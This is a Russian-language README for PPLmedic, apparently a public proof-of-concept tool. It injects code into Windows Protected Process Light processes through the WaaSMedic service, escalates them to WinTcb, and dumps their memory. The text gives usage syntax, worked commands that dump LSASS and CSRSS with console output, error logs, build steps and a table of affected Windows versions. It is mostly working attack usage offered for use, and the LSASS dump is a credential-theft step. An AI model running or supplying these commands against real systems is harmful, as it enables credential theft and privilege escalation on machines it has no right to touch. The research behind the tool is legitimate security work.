
Сделайте дамп памяти любого PPL с помощью цепочки эксплойтов в userland
Этот инструмент реализует цепочку эксплойтов Userland для внедрения произвольного кода в PPL с типом подписи Windows и повышения до типа подписи WinTcb. Эти техники были изначально описаны Джеймсом Форшоу (также известным как @tiraniddo) в его сообщении в блоге Injecting Code into Windows Protected Processes using COM - Part 1.
Чтобы узнать больше об этом инструменте, прочитайте сопутствующее сообщение в блоге здесь:
Я бы охарактеризовал этот инструмент как продвинутое доказательство концепции (Proof-of-Concept). Стоит дважды подумать, прежде чем использовать его в реальном проекте. Он безопасен в использовании, если его не прерывать, что, например, не может быть гарантировано в присутствии EDR.
Он изменяет важные ключи реестра, связанные со службой Windows Update Medic. В худшем случае, если эти ключи реестра не будут восстановлены должным образом, эта служба перестанет нормально функционировать, но это не приведёт к сбою ОС.
Предварительные требования:
SeDebugPrivilegeREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
Дамп PPL-Windows или ниже (например, LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
Дамп PPL-WinTcb (например, CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
Вы получаете следующую ошибку, потому что эксплойт вышел по тайм-ауту при попытке создать удалённый COM-объект TaskHandler. Обычно это признак того, что целевая служба WaaSMedicSvc завершилась сбоем. Это можно подтвердить следующим сообщением: [!] Service WaaSMedicSvc is no longer running. Стоит попробовать запустить инструмент ещё раз.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
Вы получаете следующую ошибку, потому что эксплойту не удалось записать корректный каталог объектов менее чем за 1000 попыток. Этот предел служит предохранителем, чтобы целевая служба не потребляла слишком много ресурсов. Стоит попробовать запустить инструмент ещё раз.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
Вы получаете следующую ошибку, потому что при вызове LaunchDetectionOnly или LaunchRemediationOnly произошла непредвиденная ошибка. Однако это должно происходить довольно редко. Стоит попробовать запустить инструмент ещё раз.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
Вы получаете следующую ошибку, потому что эксплойту не удалось кэшировать подпись DLL полезной нагрузки. Оплок, установленный на файле каталога, вероятно, никогда не срабатывал, поскольку файл уже был открыт ядром. Вы можете попробовать запустить инструмент позже (для Windows 11 обратитесь к разделу «Тесты»).
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
Это решение Visual Studio содержит два проекта (исполняемый файл и DLL полезной нагрузки), которые необходимо скомпилировать в определённом порядке. Всё уже предварительно настроено, так что вам нужно просто следовать этим простым инструкциям. Скомпилированная DLL полезной нагрузки автоматически внедряется в итоговый исполняемый файл.
Release / x64 (x86 не поддерживается!).Build > Build Solution.| Версия Windows | PPL-Windows | PPL-WinTcb | Наблюдение |
|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | Частые сбои службы + эксплойт поддельной кэшированной подписи, похоже, не работает. |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |